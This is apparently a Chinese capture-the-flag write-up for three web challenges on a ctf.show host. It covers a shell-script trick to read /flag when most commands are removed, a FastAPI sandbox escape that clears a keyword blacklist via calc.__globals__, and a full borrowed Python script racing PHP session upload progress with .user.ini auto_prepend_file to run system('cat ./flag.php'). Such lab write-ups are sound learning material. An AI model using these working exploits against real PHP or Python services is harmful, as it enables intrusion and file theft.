原谅4
这是提示。
老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行
你知道系统环境变量里的PATH是干什么的吗?
查看phpinfo发现禁用了很多东西,根据提示,查看$PATH echo $PATH 然后到各路径下查看 然后查看/bin 发现只有三个命令,ls rm sh 所以这里我们可以执行shell脚本
echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag
sh readflag
原谅5_fastapi2
hint1:https:
hint2:为了防止偷看我把变量都改了名字,还把关键词的黑名单挪到了函数外面。
hint3:给你过滤的关键词又如何,['import', 'open', 'eval', 'exec', 'class', ''', '"', 'vars', 'str', 'chr']。web入门里的知识点,换成python了而已。
首先要知道fastapi是有一个交互界面的,所以我们直接到/docs下面 很明显是利用第二个POST提交参数,参数只能是字符串类型,然后它还过滤了一堆,所以这里有一个骚姿势, 首先查看全局变量list(calc.__globals__) 然后里面有一个有youdontknow的列表,然后让q为youdontknow进入查看,发现里面过滤的黑名单。 这里我们用clear()函数清空这个列表,黑名单就没了。 然后就是随便写了 open(’/flag’).read()
原谅6_web3
别人的脚本
import io
import requests
import threading
sessid = 'yyy'
url = "http://14127917-ed10-4553-9e98-4d7fd59d77e4.chall.ctf.show/"
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat ./flag.php');?>"},
files={'file': ('yyy.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.get(url+"waf.php")
if "upload_progress" in resp.text:
print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
y4tacker = {
"content": "auto_prepend_file=/tmp/sess_" + sessid
}
session.post(url + "?file=.user.ini", data=y4tacker)
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
|